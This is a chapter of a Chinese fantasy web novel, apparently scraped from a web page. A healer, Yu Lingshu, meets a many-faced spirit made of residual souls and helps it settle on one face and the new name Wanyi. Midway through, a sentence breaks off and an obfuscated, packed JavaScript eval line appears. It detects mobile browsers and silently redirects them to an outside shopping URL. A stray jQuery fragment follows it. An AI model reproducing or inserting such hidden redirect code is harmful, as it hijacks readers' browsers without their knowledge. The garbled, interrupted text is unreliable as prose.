寒冬已至，霜雪封巷。
青石巷的墙根凝着一层薄薄的白霜，瓦檐下悬着冰凌，长短不一，如锋利的玉刃，风一吹便微微晃动，偶尔有碎冰坠落，砸在青石板上，敲出清脆而孤寂的声响。医馆里生着一盆炭火，暖意微弱，却驱不散骨子里的寒凉，药材的苦涩混着炭火的焦香，像是某种被霜雪冻住的陈年记忆，在角落里悄然发酵。
第七日夜里，风雪渐歇，天地间一片素白，连月光都被霜气浸得发寒。
小安趴在窗台上呵着白气，指尖冻得通红，数着檐角坠落的碎冰，数到第一千零三滴时，鼻尖忽然抽了抽。她闻到了一股味道，不是霜雪的清冽，不是药材的苦涩，是一种……很复杂的、很古老的、很“多”的味道。
像是很多人同时站在巷口，又像是很多人的记忆同时涌进了她的鼻子，混杂着淡淡的魂息与陈年的灵韵，在寒冷的空气里弥漫开来。
“师父，”她跳下窗台，搓着冻僵的手，跑到内室门口，声音带着几分怯意，“有客来……很多客……”
余灵枢从内室走出来。她的左眼上还蒙着青布，只露出右眼的白瞳，白瞳在昏黄的炭火微光中泛着冷冽的瓷色，穿透窗棂的霜气，她看见巷口的雪地里，蜷缩着一个“影”。
不，那不是人，也不是寻常魂体。
那是万面被焚毁人皮后，由四千九百九十九个人的残魂与玄清子的炼魂之术凝结而成的灵体，身形小巧得如同刚出生的婴儿，蜷缩在厚厚的积雪中，周身萦绕着一层淡淡的灰雾，雪落在雾上，竟直接穿透，留不下半点痕迹。这灵体无固定形态，却能清晰看出人形轮廓，周身流转着细碎的微光，那是无数残魂交织的气息，虽无实体人皮，却能借着残魂记忆，凝出各异面容。
这灵体微微浮动，似被寒风牵引，周身的灰雾时浓时淡，里面隐约能看到无数张模糊的人脸虚影，在雾中缓缓沉浮，似有生命般呼吸着，在素白的雪地里，透着说不出的阴异与悲凉。
但最诡异的，是它的“脸”。
它没有固定的面容，面部的灰雾不断地扭曲、变幻。
前一秒凝出满脸沟壑的老人脸，下一秒便化作眉眼清澈的少年，转瞬又成了眉眼温婉的女子，恍惚间，竟还浮现出一个粗粝黝黑的汉子模样，眉眼憨厚，颧骨突出，正是赵铁柱模样。
每一张脸都凝得真切，却又带着魂体特有的朦胧，仿佛一触即散。
“医仙……”那灵体开口了，声音从无数道微弱的魂音交织而成，又同时消散，带着一种奇异的稚嫩，像是一个刚学会说话的婴儿，裹着寒冬的寒凉，“我有很多脸……很多名字……很多记忆……但我不知道……我是谁……”
它跪在医馆门前的积雪中，周身的灰雾在寒风中微微收缩，散发出一股淡淡的、像是无数残魂气息交织的清苦，混着雪的清冽，格外刺鼻。
“医仙，能治么？”
小安吓得浑身一僵，下意识后退了两步，双手紧紧握住墙角的药锄，指节因为用力而泛白，眼底满是恐惧。柳长生从槐木盒中飘出，淡青色的魂体挡在余灵枢身前，周身萦绕着淡淡的寒气，眼中满是警惕，他能察觉到，这灵体虽无恶意，却藏着四千九百九十九道残魂的力量，诡异而强大。
余灵枢却没有退。
她拄着拐杖，一步一步走到门口，脚下的青石板结着薄冰，每一步都走得缓慢而坚定。寒风卷着雪沫，打在她的白发上、脸上，顺着皱纹滑落，冻成细小的冰粒，她却浑然不觉，只是静静地站在那团灵体面前，神色平静得没有一丝波澜。
她在它身上，看到了自己，同样是被“无数个”身份裹挟，同样在迷茫中追问“我是谁”，同样被困在不属于自己的宿命里，找不到归途。
“你是万面，”她说，声音很轻，却带着不容置疑的笃定，不是疑问，是陈述，“玄清子炼的万面。四千九百九十九张人皮早已焚毁，你是那些人皮承载的残魂，借着玄清子的炼魂之术凝结而成的灵体。他死了，你……活了。”
万面，如果这灵体能被称为万面的话，他微微颤抖了一下，身形缩得更紧，像是被寒风冻得瑟缩，又像是被“玄清子”三个字刺痛。它面部不断变化的脸，在听到这个名字时，同时露出了一种复杂的表情，有恐惧，有悲伤，还有一种……说不清道不明的眷恋，在寒冬的空气里，显得格外真切。
“他……他骗了我，”万面的声音带着哭腔，从无数道魂音交织而成，混着寒风的呜咽，“他说……他说给我脸，给我身份，给我……存在。可他走了，人皮也被焚毁了，把我……把我扔在黑暗里，只剩这团残魂，我……我醒了……但我是谁？”
它的身形开始收缩，像是被戳破的雾气，周身的灰雾在寒风中皱缩、晃动，无数张人脸虚影在雾中扭曲，显得愈发痛苦。
“我试过……试过每一张脸，”它说，声音里满是茫然与痛苦，“老人的脸，孩子的脸，男人的脸，女人的脸……我试过做老人，做孩子，做男人，做女人……但每一张脸都不是我。每一张脸……都是别人的残念，不是我的存在。”
它顿了顿，像是想起了什么，声音变得愈发低沉，带着一种深入骨髓的疲惫：“我听见了河声。每次变脸，河声就响一些。四千九百九十九次后，河声像打雷，在我脑子里嗡嗡作响，吵得我快要炸开。”
余灵枢心中一动，眼底掠过一丝了然，这是她第一次明确将“变脸”与“河声”关联起来。
她瞬间看破了其中的玄机：万面的每一次变脸，都不是无意义的挣扎，而是逃避河赋的尝试。每换一张脸，便是借他人残念换一个“河名”，试图以此混淆河赋的追索，让那无形的枷锁找不到它的踪迹。可它变了四千九百九十九次，换了四千九百九十九个身份，到最后，河赋未被摆脱，它自己却先迷失在了无数道残念、无数个名字里，再也找不到真正的自己。
它抬起头，面部的灰雾在寒风中不断变化，最后……停在了一张清秀的少年脸上，这一次，灰雾凝得格外真切，连少年眉梢的绒毛都清晰可见。
那少年约莫十五六岁，眉眼清秀，眼神清澈，像是一口未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910227|213096||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被霜雪冻住的井水。但那张脸上，此刻满是泪水，不是人泪，是某种透明的、带着魂息的微光，从灰雾凝结的眼角渗出，落在积雪上，瞬间化作细碎的光点，消散在寒风里。
“我想……想做一个人，”万面说，声音从少年的轮廓里发出，带着一种令人心碎的恳切，混着寒冬的寒凉，“一个……不是‘很多’的人。一个……是‘一’的人。医仙，能治么？”
余灵枢看着它。
她看着那团萦绕着无数残魂虚影的灰雾，看着那曾不断变化、如今定格在少年模样的面容，看着那团在积雪中瑟瑟发抖的、由无数“别人的残念”拼凑而成的灵体。
她又想起了自己，她也是“很多”，是无数个被天道安排好的“灵枢医者”的复制品，是被宿命捆绑的傀儡，也曾在无数个深夜，追问自己“我是谁”，也曾被“很多”困住，找不到出口。
“能，”她说，声音很轻，却带着一种穿透寒冬的力量，“但你要先选。选一张脸，一个名字，一个……身份，守住那道残念里的‘静’，摒弃其他所有，让这团灵体凝定下来。不再变，不再换。这就是‘你’的开始。”
万面愣住了。
它面部原本定格的少年脸，又开始微微蠕动，灰雾翻涌，无数张模糊的面容在少年脸下隐隐浮现，却又被强行压制。无数张脸僵在脸上，像是一幅被定格的、扭曲的画，在素白的雪地里，透着茫然与无措。
“选……”它喃喃，声音从少年的轮廓里发出，带着困惑，还有一丝不舍，“可……可它们……都是我身上的残念……我舍不得……”
“它们不是你，”余灵枢说，语气平静却坚定，“它们是你承载的残念，不是‘你’本身。万面不如一面，千变不如一心。选一张，放下其他的，守住本心，这是……第一课。”
寒风掠过青石巷，卷起地上的积雪，发出呜呜的声响，像是在附和，又像是在叹息。万面沉默了，周身的灰雾不再翻涌，静静地凝在少年身形上，在雪地里，如同一尊诡异却又可怜的灵影雕塑。
它面部不断变化的脸，开始一张一张地褪去，灰雾中那些模糊的人脸虚影，也渐渐淡化、消散。老人的脸，孩子的脸，男人的脸，女人的脸……像是一层层被剥离的残念，渐渐融入周遭的寒风里，露出底下……一团纯净的淡灰色灵体。
最后，那团灵体重新凝定，依旧是那张清秀的少年脸，眉眼干净，灰雾不再翻涌，反倒透着一丝温润的微光，在寒冬的月光下，显得格外真切。
“这张……”它说，声音从少年的轮廓里发出，带着不确定，却又有一丝不易察觉的坚定，“我喜欢……他的记忆……他很……安静……”
“好，”余灵枢说，眼底掠过一丝极淡的暖意，驱散了些许寒冬的寒凉，“那就用这张脸，这个名字。你不再是‘万面’，你是……‘万一’。”
“万一，”万面，不此时他有了属于自己的名字“万一”，他说，声音轻得像是在自言自语，却又无比清晰，“万面归一……从一而始……我是……万一……”